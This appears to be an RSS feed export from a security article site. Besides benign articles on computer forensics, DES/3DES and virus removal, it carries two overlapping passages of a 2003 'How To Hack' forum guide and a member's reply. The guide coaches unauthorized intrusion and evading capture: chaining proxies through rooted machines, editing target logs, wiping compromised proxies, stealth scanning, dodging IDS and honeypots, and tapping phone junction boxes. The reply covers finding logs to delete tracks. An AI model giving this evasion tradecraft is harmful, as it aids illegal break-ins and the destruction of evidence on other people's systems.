3) <strong class='bbc'><span class='bbc_underline'>Find a vulnerable system by UNOBTRUSIVE scanning techniques.</span></strong> Most of the regular scanners use very blatant scanning techniques that would wake the dead. They do this because they're made for security admins to test their networks, not for hackers to be sneaky. To scan a target use a scanner that allows very fine grain control of the scanning techniques and has several different techniques. Scanners like Xscan, GFI LanGuard and the like are totally unsuited for hacking. Be sure you really know HOW to use the scanner, all it's options and how it works. Select the most delicate of scans first and go from there after analyzing the results. You may want to do several types of scans, I know I do. 4th point -- Watch your back...<br />
<br />
4) <strong class='bbc'><span class='bbc_underline'>Get a GOOD packet sniffer.</span></strong> Use it to see if you're being backtraced. Set it up to watch for incomming packets not only from the target, but from at least his whole class-C subnet. In fact to be really safe, you may want to watch his class-B instead. I set my sniffer tolook at ALL incomming packets and filter to a seperate point the ones from the target and then all other incomming. I also set it to alert on any 'suspicious' packets that are common to a backtrace. In this fashion I can see if a backtrace has hit me from anywhere. If your sniffer doesn't have all these bells and whistles then do as I did and write your own. Now we start to get into the meat of hacking...<br />
<br />
5)<strong class='bbc'><span class='bbc_underline'>Education.</span></strong> You could be considered an idiot if you attempt a live exploit without knowing the following: <br />
5-A) TCP/IP: how it works; packet layout; OSI model; everything. How do expect to interpret a sniffer to see if you've been backtraced if you can't read a TCP/IP packet? <br />
5-B] Programming: You need to be able to compile the exploit yourself; you may need to do some surgery once in the target. <br />
5-C) Assembly Language: Since most exploits rely on shell code you must know assembly to be able to handle and fix any exploits; Assembly allows you fine-grain control of the target. If you are in a chroot jail a small assembly program can bust you out and potentially give you root. <br />
5-D) Be an EXPERT on the target's OS: How can you be expected to do all the things needed to perform a successful exploit if you can't do simple OS functions once you get in? <br />
5-E) Be an EXPERT with all the tools you use. Know them inside out, understand how they work and what they do. Next item....<br />
<br />
6) <strong class='bbc'><span class='bbc_underline'>UNOBTRUSIVELY sniff AROUND the target.</span></strong> Look at machines potentially on the same subnet that may be monitoring the target extenally. Also examine for any firewall, routers or other network infrastructure that could potentially aid or hinder your exploit. Sniff the target for signs of an IDS (intrusion detection system). Insure the potential target is not a honeypot. Failure to examine the machines/network AROUND the target is a deadly sin. More n00bs get caught by honeypots and IDS's because they fail to take the time to properly investigate their target. investigation must not be limited to the target and its immediate surroundings either.....<br />
<br />
7) <strong class='bbc'><span class='bbc_underline'>Examine whois and other relevant records to determine the owners of the target.</span></strong> You might undercover a very well placed law-enforcement honeypot this way. LE *sometimes* doesn't set up their domains and such well ahead of time and so you might uncover a trail to point to the *real* owner or a lack of trail indicating you should be cautious. Additionally examining the whole 'paper trail' may lead you to other networks the target is affiliated with. Some of those may have an easier way in and a route to a backdoor on your original target. Mandmins feel a false sense of security behind their own firewalls and leave open access between various subnets inside. This is a weapon to exploit whenever possible. However without proper safety procedures you can be nailed very easily as you may be logged from many different directions behind the firewall.<br />
<br />
8)<strong class='bbc'><span class='bbc_underline'>Hardware...What do you need?</span></strong> My recommendation is to get the smallest, lightest, tiniest laptop avalable. Sony had a tiny one that ran Win/ME, JVC has a couple small ones that they just released recently. Also you'll need various cords: phone, ethernet, USB, etc. You'll also need a phone cord for your modem that terminates in tiny alligator clips. This is to use a junction box directly to get phone service in a quiet place. The PC should have the following ports: ethernet, wireless, bluetooth, 56kb modem and USB. The idea is that everything fits into oversized coat pockets or a ditty bag under your coat. Right now carrying a tiny computer is still not a crime ( like burglar tools), but give the feds a chance. Carry a computer - go to jail.<br />
<br />
9) <strong class='bbc'><span class='bbc_underline'>Software ...What do you need?</span></strong> My recommendation is Linux with a hand-picked assortment of tools: scanners, sniffers, assembler, compilers and reference data on HDD. I won't go into much detail as the choice of tools is a very personal thing. Over the last 10 years or so I've been unhappy with the readily available tools and have used the available source of several to create my own versions. As you progress and are more concerned with doing an 'invisible' hack and not being noticed, you'll undoubtedly do the same. I also hesitate to recommend any of the readily bavailable tools just because of my dissatisfaction with them. While some are quite good, many do not lend themselves to stealth techniques. And last....<br />
<br />
10) <strong class='bbc'><span class='bbc_underline'>Ethics...Ah DAMN!</span></strong> The old fart is getting on his soapbox again. Well perhaps, but you'd do well to at least read what I have to say and *consider* my words. After all I've done more exploits than most of you put together and I still have my freedom. I must be doing something right.<br />
<br />
10-A ) <strong class='bbc'><span class='bbc_underline'>Don't do the crime if you can't do the time.</span></strong> By this I mean for you to understand that if you attempt an exploit against a machine that you do not have rights to -- you are breaking the law. Be a man (or woman) and be prepared to accept your punishment. Nobody told you to go out and hack, in fact I tell you not to do it. Most of you are just not capable of the attention to detail, nor do most of you posess the requisite knowledge at this time. Yes, there are exceptions to what I'm saying, however I'm writing this for n00bs, not the experienced/educated.<br />
<br />
10-B ) <strong class='bbc'>T<span class='bbc_underline'>he benefit of your actions must outweigh the risk.</span></strong> -- By this I mean to take a good, hard look at REALITY. What is the punishment if you get caught? Is it worth getting caught and suffering the punishment for what I get out of doing the deed? If you're stealing millions of dollars online -- well 20 to life is about the standard risk for grand theft. But if you're just screwing with your buddy...is that worth getting caught and convicted of a felony? Remember if you are a convicted felon - no guns - no voting - no *many* things.<br />
<br />
10-C ) <strong class='bbc'><span class='bbc_underline'>Knowledge is Power and Information is Wealth.</span></strong> If I have to explain this one - you're pretty dense.<br />
<br />
10-D ) <strong class='bbc'><span class='bbc_underline'>TANSTAAFL -- This is an anagram -- There Ain't No Such Thing As A Free Lunch.</span></strong> This basically means that you don't get something for nothing. The hacker's version of <strong class='bbc'>Newton</strong>'s law of conservation of energy. If that target seems too good to be true - it's probably a trap. Watch you back, examine everyone's motives. You're wandering into the hacker community, keep your wits about you, not everyone nor everything is what it seems. After you've done all this then it MIGHT be safe to run that exploit. But it might not -- there are other checks that I go through, but I'm sure you get the idea. If all this seems like too much trouble and there must be an easier way -- you're right. Just log on from home, crank up xscan and find a vulnerable PC and perform that exploit. But have some snacks and drinks ready, sooner or later you'll get some visitors.<br />
<br />
--- <em class='bbc'>A reply by a member</em><br />
<br />
1.what flavor of linux do you prefer for the tasks you presented us in your article ? There are LOTS and LOTS of linux distro's. Though, they all work the same, so the one you use to preform the task is up to you. Some distro's are easy to setup and use (like mandrake, www.mandrake.org), others are really customisable and/or faster but they are a lot harder to install (like gentoo, www.gentoo.org). Personally I prefer gentoo. Though, for the real experts, to have FULL control on your computer, LFS (LinuxFromScratch, www.linuxfromscratch.org) is probably best. As you may have noticed, almost every distro's have www.theirname.org as website. though some sites will link to the real sites (like mandrake). One exception is redhat, which is .com. So just try www.thedistroname.org or if it doesnt exist www.thedistroname.com. Otherwise try google. <br />
2. the proggys for the newbies. is very important to start playing with the tools of the trade, and as easy as it seems for the people here that knows how to hack it would be nice to post at least the names of the prefered software a hakcer must use, so we the nbies can google it, or even better post (again) the link. Like Daremo said specifically, you should NEVER use a tool before you have enough knowledge. I don't have enough knowledge to use tools but I do. This highly increases my chances on getting caught. And like Daremo said, if you really want to hack you should program your own tools. Then you exactly know how they work and you can make it as obsecure as possible. Most of these tools wont be released, so there are only few. An example of a tool which can do a bit unobtrusive scanning is nmap (dont know the website), but still its not unobtrusive enough. And, why the hell would you want to port scan if you do not have enough knowledge to know what to do after the portscan? <br />
3.when are you gonna write a tutorial for C the way you did for assemble? There are lots of tutorials for C. And good ones, too. Just look around here (ebooks, programming) and read them. And he isnt done yet with the assembler one.... is he? <br />
4. now how you delete your tracks? where are the logs in the operating systems? Most targets for a hacker a linux boxes. Linux is -- unlike windows -- customisable. You can set the places of the logs yourself. I think even windows can do it. Though most of the times the logs will be in /var/log/. In windows I don't remember where they are. I believe somewhere like "%WINDOWSDIR%/system32/logfiles/" or "%WINDOWSDIR%/system/logfiles/" or so. Im not sure. But again, I think this can, even in windows, be changed.[/b]]]></description>
		<pubDate>Thu, 08 Jul 2010 16:35:21 +0000</pubDate>
		<guid isPermaLink="false">4c56ff4ce4aaf9573aa5dff913df997a</guid>
	</item>
	<item>
		<title>Best Practices for Computer Forensics in the Field</title>
		<link>http://www.astalavista.com/page/articles/_/lectures/best-practices-for-computer-forensics-in-the-field-r20</link>
		<description><![CDATA[Introduction<br />
<br />
Computer forensic examiners are responsible for technical acuity, knowledge of the law, and objectivity in the course of investigations. Success is principled upon verifiable and repeatable reported results that represent direct evidence of suspected wrong-doing or potential exoneration. This article establishes a series of best practices for the computer forensics practitioner, representing the best evidence for defensible solutions in the field. Best practices themselves are intended to capture those processes that have repeatedly shown to be successful in their use. This is not a cookbook. Best practices are meant to be reviewed and applied based on the specific needs of the organization, the case and the case<br />
setting.<br />
<br />
Job Knowledge<br />
<br />
An examiner can only be so informed when they walk into a field setting. In many<br />
cases, the client or the client's representative will provide some information about<br />
how many systems are in question, their specifications, and their current state.<br />
And just as often, they are critically wrong. This is especially true when it comes to<br />
hard drive sizes, cracking laptop computers, password hacking and device<br />
interfaces. A seizure that brings the equipment back to the lab should always be<br />
the first line of defense, providing maximum flexibility. If you must perform onsite,<br />
create a comprehensive working list of information to be collected before you hit<br />
the field. The list should be comprised of small steps with a checkbox for each<br />
step. The examiner should be completely informed of their next step and not have<br />
to "think on their feet."<br />
<br />
Overestimate<br />
<br />
Overestimate effort by at least a factor of two the amount of time you will require to<br />
complete the job. This includes accessing the device, initiating the forensic<br />
acquisition with the proper write-blocking strategy, filling out the appropriate<br />
paperwork and chain of custody documentation, copying the acquired files to<br />
another device and restoring the hardware to its initial state. Keep in mind that you<br />
may require shop manuals to direct you in taking apart small devices to access the<br />
drive, creating more difficulty in accomplishing the acquisition and hardware<br />
restoration. Live by Murphy's Law. Something will always challenge you and take<br />
more time than anticipated -- even if you have done it many times.<br />
<br />
Inventory Equipment<br />
Most examiners have enough of a variety of equipment that they can perform<br />
forensically sound acquisitions in several ways. Decide ahead of time how you<br />
would like to ideally carry out your site acquisition. All of us will see equipment go<br />
bad or some other incompatibility become a show-stopper at the most critical time.<br />
Consider carrying two write blockers and an extra mass storage drive, wiped and<br />
ready. Between jobs, make sure to verify your equipment with a hashing exercise.<br />
Double-Check and inventory all of your kit using a checklist before taking off.<br />
<br />
Flexible Acquisition<br />
<br />
Instead of trying to make "best guesses" about the exact size of the client hard<br />
drive, use mass storage devices and if space is an issue, an acquisition format that<br />
will compress your data. After collecting the data, copy the data to another<br />
location. Many examiners limit themselves to traditional acquisitions where the<br />
machine is cracked, the drive removed, placed behind a write-blocker and<br />
acquired. There are also other methods for acquisition made available by the Linux<br />
operating system. Linux, booted from a CD drive, allows the examiner to make a<br />
raw copy without compromising the hard drive. Be familiar enough with the<br />
process to understand how to collect hash values and other logs. Live Acquisition<br />
is also discussed in this document. Leave the imaged drive with the attorney or the<br />
client and take the copy back to your lab for analysis.<br />
<br />
Pull the Plug<br />
<br />
Heated discussion occurs about what one should do when they encounter a running<br />
machine. Two clear choices exist; pulling the plug or performing a clean shutdown<br />
(assuming you can log in). Most examiners pull the plug, and this is the best way to<br />
avoid allowing any sort of malevolent process from running that may delete and<br />
wipe data or some other similar pitfall. It also allows the examiner access to create<br />
a snapshot of the swap files and other system information as it was last running. It<br />
should be noted that pulling the plug can also damage some of the files running on<br />
the system, making them unavailable to examination or user access. Businesses<br />
sometimes prefer a clean shutdown and should be given the choice after being<br />
explained the impact. It is critical to document how the machine was brought down<br />
because it will be absolutely essential knowledge for analysis.<br />
<br />
Live Acquisitions<br />
<br />
Another option is to perform a live acquisition. Some define "live" as a running<br />
machine as it is found, or for this purpose, the machine itself will be running during<br />
the acquisition through some means. One method is to boot into a customized<br />
Linux environment that includes enough support to grab an image of the hard drive<br />
(often among other forensic capabilities), but the kernel is modified to never touch<br />
the host computer. Special versions also exist that allow the examiner to leverage<br />
the Window's autorun feature to perform Incident Response. These require an<br />
advanced knowledge of both Linux and experience with computer forensics. This<br />
kind of acquisition is ideal when for time or complexity reasons, disassembling the<br />
machine is not a reasonable option.<br />
<br />
The Fundamentals<br />
<br />
An amazingly brazen oversight that examiner's often make is neglecting to boot the<br />
device once the hard disk is out of it. Checking the BIOS is absolutely critical to the<br />
ability to perform a fully-validated analysis. The time and date reported in the BIOS<br />
must be reported, especially when time zones are an issue. A rich variety of other<br />
information is available depending on what manufacturer wrote the BIOS software.<br />
Remember that drive manufacturers may also hide certain areas of the disk<br />
(Hardware Protected Areas) and your acquisition tool must be able to make a full<br />
bitstream copy that takes that into account. Another key for the examiner to<br />
understand is how the hashing mechanism works: Some hash algorithms may be<br />
preferable to others not necessarily for their technological soundness, but for how<br />
they may be perceived in a courtroom situation.<br />
<br />
Store Securely<br />
<br />
Acquired images should be stored in a protected, non-static environment.<br />
Examiners should have access to a locked safe in a locked office. Drives should be<br />
stored in antistatic bags and protected by the use of non-static packing materials or<br />
the original shipping material. Each drive should be tagged with the client name,<br />
attorney's office and evidence number. Some examiners copy drive labels on the<br />
copy machine, if they have access to one during the acquisition and this should be<br />
stored with the case paperwork. At the end of the day, each drive should link up<br />
with a chain of custody document, a job, and an evidence number.<br />
<br />
Establish a Policy<br />
<br />
Many clients and attorneys will push for an immediate acquisition of the computer<br />
and then sit on the evidence for months. Make clear with the attorney how long<br />
you are willing to maintain the evidence at your lab and charge a storage fee for<br />
critical or largescale jobs. You may be storing critical evidence to a crime or civil<br />
action and while from a marketing perspective it may seem like a good idea to keep<br />
a copy of the drive, it may be better from the perspective of the case to return all<br />
copies to the attorney or client with the appropriate chain of custody<br />
documentation.<br />
<br />
Conclusion<br />
<br />
Computer examiners have many choices about how they will carry out an onsite<br />
acquisition. At the same time, the onsite acquisition is the most volatile<br />
environment for the examiner. Tools may fail, time constraints can be severe,<br />
observers may add pressure, and suspects may be present. Examiners need to take<br />
seriously the maintenance of their tools and development of ongoing knowledge to<br />
learn the best techniques for every situation. Utilizing the best practices herein,<br />
the examiner should be prepared for almost any situation they may face and have<br />
the ability to set reasonable goals and expectations for the effort in question.<br />
<br />
Carol L. Stimmel is a Certified Computer Examiner (CCE), co-author of The Manager Pool, and former Vice-President, Consulting of Gartner. She has worked in technology for over 15 years and has been involved in engineering, security, knowledge management, and the establishment of successful entrepreneurial ventures.<br />
<br />
CITSF provides certified consulting services to the attorney marketplace in the area of computer forensics and e-discovery.<br />
<br />
Visit CITSF on the web at <a href='http://www.citsf.com' class='bbc_url' title='External link' rel='nofollow external'>http://www.citsf.com</a> She may be reached at 303-819-2068 or carol.stimmel@gmail.com.<br />
<br />
Article Source: <a href='http://EzineArticles.com/?expert=Carol_Stimmel' class='bbc_url' title='External link' rel='nofollow external'>http://EzineArticles...t=Carol_Stimmel</a>]]></description>
		<pubDate>Mon, 05 Jul 2010 08:25:23 +0000</pubDate>
		<guid isPermaLink="false">da4fb5c6e93e74d3df8527599fa62642</guid>
	</item>
	<item>
		<title>Computer Forensics - Criminal vs Civil - What...</title>
		<link>http://www.astalavista.com/page/articles/_/lectures/computer-forensics-criminal-vs-civil-what-r19</link>
		<description><![CDATA[In the field of computer forensics, as in the field of law, procedures in civil cases differ somewhat from those in criminal cases. The collection of data and presentation of evidence may be held to different standards, the process of data collection and imaging can be quite different, and the consequences of the case may have very different impacts.<br />
<br />
A couple of quick definitions may be in order. Criminal law deals with offenses against the state - the prosecution of a person accused of breaking a law. Such offenses may of course include crimes against a person. A government body, or the representative of a government body accuses the person of having committed the offense, and the resources of the state are brought to bear against the accused. Guilty outcomes can result in fines, probation, incarceration, or even death.<br />
<br />
Civil law covers everything else, such as violations of contracts and lawsuits between two or more parties. The loser in such a dispute often must give payment, property or services to the prevailing party. Imprisonment is not at issue in civil cases. As a result, the standard for evidence is not as high in civil cases as in criminal cases.<br />
<br />
For the law enforcement computer forensics specialist, a certain amount of extra care should be taken in collecting data and producing results, for the standard of proof is higher. There are advantages on the data collection end, however. For once a court has authorized a search warrant, an officer (and possibly several) with badge and gun can go seize the defendant's computer by surprise and by force. Once the computer has been seized and imaged, all data is accessible and may result in additional charges being brought against the defendant.<br />
<br />
By contrast, in a civil case, there tends to be a lot of negotiation over what computers and what data can be inspected, as well as where and when. There is not likely to be any seizing of computers, and quite a long time may take place between the time the request to inspect a computer is made and the time the computer is made available to be inspected. It is common for one party to have access to a very limited area of data from the other party's computer. During this time, a defendant may take the opportunity to attempt to hide or destroy data. The author has had several cases wherein the computer needed for analysis was destroyed before the plaintiff had the opportunity to inspect. Such attempts at hiding data are often discovered by the digital forensic sleuth, who may in turn present evidence of such further wrongdoing in expert witness testimony.<br />
<br />
Opportunities for learning techniques and interacting with other professionals may differ as well. While some computer forensic software suites and training, such as Access FTK, EnCase, or SMART Forensics are available to most who can pay, others, such as iLook are available only to law enforcement and military personnel. While many support and professional organizations and groups are available to all, some, such as the High Technology Crime Investigation Association (HTCIA) are not open to professionals who provide for criminal defense (with a few minor exceptions).<br />
<br />
When law enforcement has a case involving computer forensics, the intention is to locate enough data to find the defendant guilty in court, where the standard for information presented tends to be fairly high. From the time digital data or hardware is seized and acquired, Rules of Evidence must be kept in mind (Cornell University has the complete and voluminous code on its website). Law enforcement personnel must follow accepted procedures or evidence could be thrown out. Acquisition of data and discovery in criminal cases often must follow sometimes strict and differing procedures depending upon whether the jurisdiction is federal, state, or municipality and at times depending upon a judge's preferences.<br />
<br />
In a civil case, the initial processes of electronic discovery may be just to find enough data to show one or the other party whether they are likely to prevail, should the case go all the way to court. As such, the initial presentation of data may be fairly informal, and be just enough to induce the parties to settle the case. On the other hand, the data found may be so minimal the line of inquiry into electronic evidence is dropped.<br />
<br />
Although we use many of the same tools, computer forensic professionals in private practice and those in law enforcement are held to different standards, have access to different resources, and their work results in substantially different outcomes between the criminal and civil cases to which they contribute.<br />
<br />
Steve Burgess is a freelance technology writer, a practicing computer forensics specialist as the principal of Burgess Forensics, and a contributor to recently released Scientific Evidence in Civil and Criminal Cases, 5th Edition by Moenssens, et al. Mr. Burgess may be reached at <a href='http://www.burgessforensics.com' class='bbc_url' title='External link' rel='nofollow external'>http://www.burgessforensics.com</a> or via email at steve@burgessforensics.com<br />
<br />
Article Source: <a href='http://EzineArticles.com/?expert=Steve_Burgess' class='bbc_url' title='External link' rel='nofollow external'>http://EzineArticles...t=Steve_Burgess</a>]]></description>
		<pubDate>Mon, 05 Jul 2010 08:15:41 +0000</pubDate>
		<guid isPermaLink="false">07e1cd7dca89a1678042477183b7ac3f</guid>
	</item>
	<item>
		<title>DES and 3DES</title>
		<link>http://www.astalavista.com/page/articles/_/lectures/des-and-3des-r18</link>
		<description><![CDATA[Data Encryption Standard (DES) data are encrypted in 64-bit blocks using a 56-bit key. The DES algorithm takes the input through a series of transformations: initial permutation; a complex function, which involves both permutation and substitution operations and depends on a key input; a simple permutation function that switches the two halves of the data; the function is applied again; and a permutation function that is the inverse of the initial permutation takes place. There are five "modes of operation" that have been defined in order to apply DES to a variety of applications. They are Electronic Codebook, Cipher Block Chaining, Cipher Feedback, Output Feedback Counter, and Counter (Cryptography Concepts, 2005).<br />
<br />
Triple DES or 3DES involves repeating the DES algorithm three times on the plaintext, using two or three different keys to produce the ciphertext. As stated in the article DES is dead. Long live...Well, um, What, "First it encrypts, then it decrypts and finally it encrypts again" (Moskowitz, 1999). Three DES is now used because it is very resistant to cryptanalysis, serving as an alternative to add security against the potential vulnerability of DES to brute-force attack. Triple DES has been adopted for use in the key management standards ANSI X 9.17 and ISO 8732, along with a number of Internet-based applications, such as PGP and S/MIME (AES, Ciphers, and Confidentiality, 2005). The picture below shows the triple encryption process, as well as show the middle portion of 3DES as a decryption rather than an encryption making it more secure.<br />
<br />
A nonce and key distribution center (KDC) shares a secret key or "master" key between each party on a network. The KDC is responsible for generating nonce and keys to be used for a short time over a connection between two parties, known as session keys, and for distributing those keys using the master keys to protect the distribution. The following steps occur:<br />
<br />
1. A issues request to the KDC for a session key with B. The message includes the identity of A and B, as well as a unique identifier for the transaction, a nonce, which may include a random number or a counter.<br />
<br />
2. The KDC replies with a message encrypted using Ka. Thus, only A can read the message and knows the message originated at the KDC. The message includes:<br />
<br />
• The one-time session key, Ks, to be used for the session.<br />
• The original request message, including the nonce, to enable A to match this response with the appropriate request.<br />
<br />
In addition, the message includes two items intended for B:<br />
<br />
• The one-time session key, Ks.<br />
• An identifier of A, IDA.<br />
<br />
These are encrypted with the master key that the KDC shares with B. They are sent to B to establish connection and prove A's identity.<br />
<br />
3. A stores the session key for use in the upcoming session and forwards to B the information that originated at the KDC for B. This information is protected from eavesdropping, because it is encrypted by the master key, Kb. B knows the session key, A's identity, and that the information originated at the KDC.<br />
<br />
4. B then sends a nonce, N2, to A, using a newly minted session key for encryption.<br />
<br />
5. Using the session key, A responds with f(N2), where f is a function that performs some transformation on N2 (e.g., adding one) (Stallings, 2003 pgs 214-15).<br />
<br />
In conclusion, the above explained how DES works, why 3DES is now used, why the middle portion of 3DES is a decryption rather than an encryption, and explain a nonce and a key distribution center.<br />
<br />
Works Cited<br />
<br />
Moskowitz, Robert. (1999). DES is dead. Long Live... well, um, what? Network Computing, vol. 10 issue 6. Retrieved October 22, 2005, from, EBSCO Host Research Database at [<a href='http://web10.epnet.com]' class='bbc_url' title='External link' rel='nofollow external'>http://web10.epnet.com]</a><br />
<br />
Stallings, William. (2003). Cryptography and Network Security: Principles and Practice. New Jersey: Pearson Education, Inc.<br />
<br />
Joshua Maluchnik, M.I.T., MCP/MCTS<br />
<br />
Account Executive<br />
<br />
Tranztec Solutions, Inc.<br />
<br />
<a href='http://www.tranztec.com' class='bbc_url' title='External link' rel='nofollow external'>http://www.tranztec.com</a><br />
<br />
Article Source: <a href='http://EzineArticles.com/?expert=Joshua_Maluchnik' class='bbc_url' title='External link' rel='nofollow external'>http://EzineArticles...oshua_Maluchnik</a>]]></description>
		<pubDate>Mon, 05 Jul 2010 08:12:41 +0000</pubDate>
		<guid isPermaLink="false">5ef059938ba799aaa845e1c2e8a762bd</guid>
	</item>
	<item>
		<title>How to Recognize and Remove a Computer Virus</title>
		<link>http://www.astalavista.com/page/articles/_/lectures/how-to-recognize-and-remove-a-computer-virus-r12</link>
		<description><![CDATA[A computer virus is basically a software program that somehow gets installed on your computer and usually causes from annoying to malicious things. How they get on to your computer is sometimes the mystery itself. In almost all the cases computer viruses actually get downloaded onto your computer by none other than you. Or at least someone using your computer.<br />
<br />
Of course no one downloads the Virus on purpose and with any intent. In fact the user usually has no idea the attachment to the email they just opened or the file or program they just downloaded was infected with the virus. Think of it as someone having an STD. You would never know they were infected by talking to them or shaking their hand. Sometimes you don't even know after you have engaged physically with this person. In fact there are even times the person who is infected himself doesn't even know it!<br />
<br />
But let's get back to the subject of the computer virus!<br />
<br />
The next question is how do you know you have one and what do you do to remove it.<br />
<br />
Well one of the symptoms could be that your computer crashes in the middle of your work or freezes on you for no apparent reason. Of course this may happen on occasion anyways but you would know if the frequency has changed.<br />
<br />
There may be unusual activity such as the mouse pointer suddenly moving without being touched, or the page you are on suddenly changes or the homepage within your browser changes by itself or other such unusual activities.<br />
<br />
Other forms of computer infections include pop ups while you are browsing the internet. And yet some other ones will slow down your computer by sending loops of information through your Internet browser and back end systems on a continual basis.<br />
<br />
Now once you suspect that you have a virus, how do you go about removing it?<br />
<br />
Well the first thing is if you have an Anti Virus software already on your computer make sure that you have the latest updates. You can usually do this from within the antivirus software itself.<br />
<br />
If you don't have any Anti Virus software on your computer do some searches online and you can find a free version to or obviously can purchase one.<br />
<br />
Once you get the Anti Virus on your computer, run a scan of your computer. At the end of the scan you are usually presented with two options. You can take the data that the program has filed and remove the infected file by deleting it, or you can have the program quarantine the file and therefore eliminating the infection.<br />
<br />
If the problems persist after all of this, then it might be time to visit a computer technician.<br />
<br />
Nader has been involved in the computer and technology industry for over 10 years. For any web or computer related topic please visit <a href='http://www.web-tech-rus.org' class='bbc_url' title='External link' rel='nofollow external'>http://www.web-tech-rus.org</a> and ask your question from the "tech".<br />
<br />
Article Source: <a href='http://EzineArticles.com/?expert=Nader_Kianzad' class='bbc_url' title='External link' rel='nofollow external'>http://EzineArticles...t=Nader_Kianzad</a>]]></description>
		<pubDate>Mon, 05 Jul 2010 07:47:43 +0000</pubDate>
		<guid isPermaLink="false">7f6ffaa6bb0b408017b62254211691b5</guid>
	</item>
	<item>
		<title><![CDATA[[Guide] How To Hack]]></title>
		<link>http://www.astalavista.com/page/articles/_/lectures/guide-how-to-hack-r9</link>
		<description><![CDATA[<em class='bbc'>A nice lecture by Daremo, posted on the old Astalavista.net in 2003.</em><strong class='bbc'><br />
</strong><br />
<br />
I keep seeing the n00bs ask "How to hack" -- The folks who've been into this scene for awhile get tired of these questions. So what's a n00b to do?<br />
<br />
Well I'm here to help.<br />
While this short tut will not give you a step-by-step, hold-your-hand solution ( such a solution is impossible for reasons you'll find out in this text. ) This text will give you a serious guideline to developing your own techniques and methodologies for hacking.<br />
<br />
Next I must tell you the following: With penalties for hacking going up and up all over the world, in every nation (almost) doing a sloppy hack can get you from 20 years to LIFE IMPRISONMENT. The ball game has changed since I first got into it. Security is harder and tighter, penalties are going sky high. I'm reminded of the bad-old-days of the '60's in the <strong class='bbc'>USA</strong> when posession of a marijuana *seed* could get you life in prison. Those days have changed for you tokers, but the 'bad old days' are right now for hackers. It's easier than ever to get caught and you'll seriously screw up your life if you do get caught.<br />
<br />
Tell me -- is doing that DDOS or crashing some SOB who 'wronged' you or publishing those warez to be leet -- is that worth the prison time? How much reward or inducement would someone have to give you before you'd agree to rob a bank at gunpoint and risk 20 years to life in jail? Don't laugh, The penalties for armed robbery of a federal depository such as a bank and hacking your neighbor's PC are the same - 20 to life!!! <br />
<br />
The only difference is that you stand a better chance of a reduced sentence for robbing a bank. Therefore I do not advocate you doing any exploits until and unless you really know what you are doing and are willing to take total responsibility for your actions. Bottom line -- do whatever the heck you want -- I'll not really change your mind because you won't/don't believe me and you 'know better' than I. I'll just leave you with this -- I've been hacking for 30 years now and I've never been caught nor charged - because I'm careful - I would never do any exploit without a proper investigation of the target - it's suicide.<br />
<br />
So now I'll give you an outline of the do's and don't's as well as a little advice... Doing a real exploit involves much, much more than finding a vulnerable system and running a script to root it. Before you even consider using an exploit you must do the following MINIMUM:<br />
<br />
1) <strong class='bbc'><span class='bbc_underline'>Ensure that you are as hidden as possible,</span></strong> Chain of proxies; hidden cutouts; work thru a rhost or shell on a previously rooted machine; spoofed the hell out of everything; and last but definately not least -- NEVER EVER UNDER ANY CIRCUMSTANCES RUN AN EXPLOIT FROM YOUR HOME, SCHOOL OR OFFICE. In fact never run one from an inet cafe for obvious reasons. This is because you can and will be traced if your hack is noticed. This is because, no matter what you do, no matter how well you try to hide, in order to enter and snoop around in someone's PC you *must* establish a connection from you to them. Even if you work through a chain of proxies you can be traced. Those machines have logs, the machines they connect to have logs and so on and so on. which brings us to point 2.....<br />
<br />
2)<strong class='bbc'><span class='bbc_underline'>Clean up after yourself.</span></strong> This involves some very delicate surgery on the target. You should try to remove any log entries that pertain to you out of ALL logs. This is almost impossible without root access to the target. So if you got in, but didn't get root -- you could be screwed big time. Don't just erase the logs, that's way to crass. Edit the logs to remove your entries. Very time consuming, but very much worth it. Next clean up is your proxies/cut-outs, etc. Well you probably don't have root access on each machine in your chain of proxies. this is a problem because anyone who finds the first link of a back trace to one of the proxies will track you. If you can you must break the chain by destroying one or more of the proxies. This is not easy in and of itself as it involves compromising the proxy and wiping the HDD. However, even doing this you're not totally in the clear as recovery of the HDD may be possible or logs may be kept on external devices/media for that proxy. So even if you do crash it -- you're still screwed (potentially). Now to the 3rd point, how to find a suitable target...<br />
<br />
3) <strong class='bbc'><span class='bbc_underline'>Find a vulnerable system by UNOBTRUSIVE scanning techniques.</span></strong> Most of the regular scanners use very blatant scanning techniques that would wake the dead. They do this because they're made for security admins to test their networks, not for hackers to be sneaky. To scan a target use a scanner that allows very fine grain control of the scanning techniques and has several different techniques. Scanners like Xscan, GFI LanGuard and the like are totally unsuited for hacking. Be sure you really know HOW to use the scanner, all it's options and how it works. Select the most delicate of scans first and go from there after analyzing the results. You may want to do several types of scans, I know I do. 4th point -- Watch your back...<br />
<br />
4) <strong class='bbc'><span class='bbc_underline'>Get a GOOD packet sniffer.</span></strong> Use it to see if you're being backtraced. Set it up to watch for incomming packets not only from the target, but from at least his whole class-C subnet. In fact to be really safe, you may want to watch his class-B instead. I set my sniffer tolook at ALL incomming packets and filter to a seperate point the ones from the target and then all other incomming. I also set it to alert on any 'suspicious' packets that are common to a backtrace. In this fashion I can see if a backtrace has hit me from anywhere. If your sniffer doesn't have all these bells and whistles then do as I did and write your own. Now we start to get into the meat of hacking...<br />
<br />
5)<strong class='bbc'><span class='bbc_underline'>Education.</span></strong> You could be considered an idiot if you attempt a live exploit without knowing the following: <br />
5-A) TCP/IP: how it works; packet layout; OSI model; everything. How do expect to interpret a sniffer to see if you've been backtraced if you can't read a TCP/IP packet? <br />
5-B] Programming: You need to be able to compile the exploit yourself; you may need to do some surgery once in the target. <br />
5-C) Assembly Language: Since most exploits rely on shell code you must know assembly to be able to handle and fix any exploits; Assembly allows you fine-grain control of the target. If you are in a chroot jail a small assembly program can bust you out and potentially give you root. <br />
5-D) Be an EXPERT on the target's OS: How can you be expected to do all the things needed to perform a successful exploit if you can't do simple OS functions once you get in? <br />
5-E) Be an EXPERT with all the tools you use. Know them inside out, understand how they work and what they do. Next item....<br />
<br />
6) <strong class='bbc'><span class='bbc_underline'>UNOBTRUSIVELY sniff AROUND the target.</span></strong> Look at machines potentially on the same subnet that may be monitoring the target extenally. Also examine for any firewall, routers or other network infrastructure that could potentially aid or hinder your exploit. Sniff the target for signs of an IDS (intrusion detection system). Insure the potential target is not a honeypot. Failure to examine the machines/network AROUND the target is a deadly sin. More n00bs get caught by honeypots and IDS's because they fail to take the time to properly investigate their target. investigation must not be limited to the target and its immediate surroundings either.....<br />
<br />
